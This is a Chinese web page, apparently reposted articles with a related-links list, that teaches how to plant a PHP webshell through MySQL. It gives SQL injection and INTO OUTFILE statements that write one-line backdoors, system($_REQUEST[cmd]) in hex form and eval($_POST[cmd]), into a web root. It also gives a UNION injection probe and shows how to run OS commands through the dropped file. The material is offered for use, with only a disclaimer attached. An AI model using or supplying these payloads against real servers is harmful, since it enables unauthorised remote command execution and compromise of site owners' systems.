Mysql的语句生成后门木马的方法

咳咳,大家看看就好了,本人不负责所产生的后果

代码如下:

SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:2 3 <?php system($_REQUEST[cmd]);?>

再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统DOS命令!

哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?

就是<?php system($_REQUEST[cmd]);?>的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的, 哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

 浅谈MySQL导出一句话木马拿WebShell的方法-只需要一句SQL

昨天看一篇文章中说到MySQL导出一句话木马拿WebShell的方法。
  文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行):
  Drop TABLE IF EXISTS temp; //如果存在temp就删掉
  Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
  Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表
  Select cmd from temp into out file 'F:/wwwroot/eval.php'; //查询temp表中的一句话并把结果导入到eval.php
  Drop TABLE IF EXISTS temp; //删除temp(擦屁股o(∩_∩)o...)
  这几句SQL很简单,我做了简单的注释。
  不过想想我们在测试PHP的SQL漏洞的时候经常用如下的语句:
  /**/UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12/*
  然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
  如果我们把上面这句改成/**/UNION SELECT 1,2,'zerosoul',4,5,6,7,8,9,10,11,12/*,则返回页面上次显示3的地方会显示zerosoul。
  也就是说如果我们的select语句后面不带from table语句的话,我们说查询的数字或字符会直接返回到查询结果里。
  既然这样,我们为何还要那么麻烦去建一个表,先导入数据,再导出这样折腾呢。
  有了这个思路,上面那一大段到出一句话的SQL代码可以直接简化到一句:
  
Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/eval.php';

  这样做不但简单明了,而且避免了误删别人的数据。以上所述就是本文的全部内容了,希望大家能够喜欢。

(0)

相关推荐

  • PHP中常用的几个 mysql操作

    显示数据库或表: 复制代码 代码如下: show databases;//然后可以use database_name; show tables; 更改表名: 复制代码 代码如下: alter table table_name rename new_t; 添加列 : 复制代码 代码如下: alter table table_name add column c_n column attributes; 删除列: 复制代码 代码如下: alter table table_name drop colum

  • MySQL数据库中的安全设置方案

    随着网络的普及,基于网络的应用也越来越多.网络数据库就是其中之一.通过一台或几台服务器可以为很多客户提供服务,这种方式给人们带来了很多方 便,但也给不法分子造成了可乘之机.由于数据都是通过网络传输的,这就可以在传输的过程中被截获,或者通过非常手段进入数据库.由于以上原因,数据库安全 就显得十分重要.因此,本文就以上问题讨论了MySQL数据库在网络安全方面的一些功能. 帐户安全 帐户是MySQL最简单的安全措施.每一帐户都由用户名.密码以及位置(一般由服务器名.IP或通配符)组成.如用户john从

  • 分析MySQL中索引引引发的CPU负载飙升的问题

    收到一个mysql服务器负载告警,上去一看,load average都飙到280多了,用top一看,CPU跑到了336%,不过IO和内存的负载并不高,根据经验,应该又是一起索引引起的惨案了. 看下processlist以及slow query情况,发现有一个SQL经常出现,执行计划中的扫描记录数看着还可以,单次执行耗时为0.07s,还不算太大.乍一看,可能不是它引发的,但出现频率实在太高,而且执行计划看起来也不够完美: mysql> explain SELECT count(1) FROM a

  • Mysql的语句生成后门木马的方法

    咳咳,大家看看就好了,本人不负责所产生的后果 复制代码 代码如下: SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php' 通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/

  • Mysql select语句设置默认值的方法

    1.在没有设置默认值的情况下: 复制代码 代码如下: SELECT userinfo.id, user_name, role, adm_regionid, region_name , create_timeFROM userinfoLEFT JOIN region ON userinfo.adm_regionid = region.id 结果: 设置显示默认值: 复制代码 代码如下: SELECT userinfo.id, user_name, role, adm_regionid, IFNUL

  • MySQL中随机生成固定长度字符串的方法

    要随机生成字符串代码如下: 在MySQL中定义一个随机串的方法,然后再SQL语句中调用此方法. 随机串函数定义方法: 复制代码 代码如下: CREATE DEFINER=`root`@`localhost` FUNCTION `rand_string`(n INT) RETURNS varchar(255) CHARSET latin1 BEGIN DECLARE chars_str varchar(100) DEFAULT 'abcdefghijklmnopqrstuvwxyzABCDEFGH

  • Mysql全局ID生成方法

    生产系统随着业务增长总会经历一个业务量由小变大的过程,可扩展性是考量数据库系统高可用性的一个重要指标;在单表/数据库数据量过大,更新量不断飙涨时,MySQL DBA往往会对业务系统提出sharding的方案.既然要sharding,那么不可避免的要讨论到sharding key问题,在有些业务系统中,必须保证sharding key全局唯一,比如存放商品的数据库等,那么如何生成全局唯一的ID呢,下文将从DBA的角度介绍几种常见的方案. 1.使用CAS思想 什么是CAS协议 Memcached于1

  • php 攻击方法之谈php+mysql注射语句构造

    一.前言: 版本信息:Okphp BBS v1.3 开源版 由于PHP和MYSQL本身得原因,PHP+MYSQL的注射要比asp困难,尤其是注射时语句的构造方面更是个难点,本文主要是借对Okphp BBS v1.3一些文件得简单分析,来谈谈php+mysql注射语句构造方式,希望本文对你有点帮助. 声明:文章所有提到的"漏洞",都没有经过测试,可能根本不存在,其实有没有漏洞并不重要,重要的是分析思路和语句构造. 二."漏洞"分析: 1.admin/login.php

  • php+MySQL判断update语句是否执行成功的方法

    update语句是PHP+MySQL中常用的操作,判断update语句是否执行成功是其中非常重要的一个环节.本文就以实例展示了php+MySQL判断update语句是否执行成功的方法.分享给大家供大家参考之用.具体方法如下: 代码一: $rs=MySQL_query($sql); if(mysql_affected_rows()) echo "sql执行成功"; else echo "sql执行失败"; 代码二: <?php /* 连接数据库 */ mysql

  • MySQL高并发生成唯一订单号的方法实现

    前言 这篇博文发布后,有朋友问有没有SQL server版本的,现在有了==>传送门 一.场景再现 在一个erp进销存系统或0A等其他系统中,如果多人同时进行生成订单号的操作的话,容易出现多人获得同一个订单号的情况,对公司业务造成不可挽回的损失 二.如何避免高并发情况订单号不唯一 我们可以利用存储过程和数据表搭配,建立一张表和创建存储过程,存储过程负责生成订单号,表负责处理唯一性问题 当存储过程生成一个订单编号,首先先把订单号写进表中,再把订单号结果显示出来,把生成的订单号写进表里会出现两种情况

  • 如何设计高效合理的MySQL查询语句

    MySQL查询语句大家都在用,但是应该如何设计高效合理的MySQL查询语句呢?下面就教您MySQL查询语句的合理设计方法,分享给大家学习学习. 1.合理使用索引 索引是数据库中重要的数据结构,它的根本目的就是为了提高查询效率.现在大多数的数据库产品都采用IBM最先提出的ISAM索引结构.索引的使用要恰到好处,其使用原则如下: ●在经常进行连接,但是没有指定为外键的列上建立索引,而不经常连接的字段则由优化器自动生成索引. ●在频繁进行排序或分组(即进行group by或order by操作)的列上

  • PHP实现webshell扫描文件木马的方法

    本文实例讲述了PHP实现webshell扫描文件木马的方法.分享给大家供大家参考,具体如下: 可扫描 weevelyshell 生成 或加密的shell 及各种变异webshell 目前仅支持php 支持扫描 weevelyshell 生成 或加密的shell 支持扫描callback一句话shell 支持各种php大马 <!DOCTYPE html> <html> <head> <meta charset='gb2312'> <title>PH

  • Mysql Sql语句注释大全

    MySQL的SQL语句里面是可以加注释的,下面给大家介绍mysql sql语句注释大全,一起看看吧! 1.说明:创建数据库 CREATE DATABASE database-name 2.说明:删除数据库 drop database dbname 3.说明:备份sql server --- 创建 备份数据的 device USE master EXEC sp_addumpdevice'disk','testBack','c:\mssql7backup\MyNwind_1.dat' --- 开始

随机推荐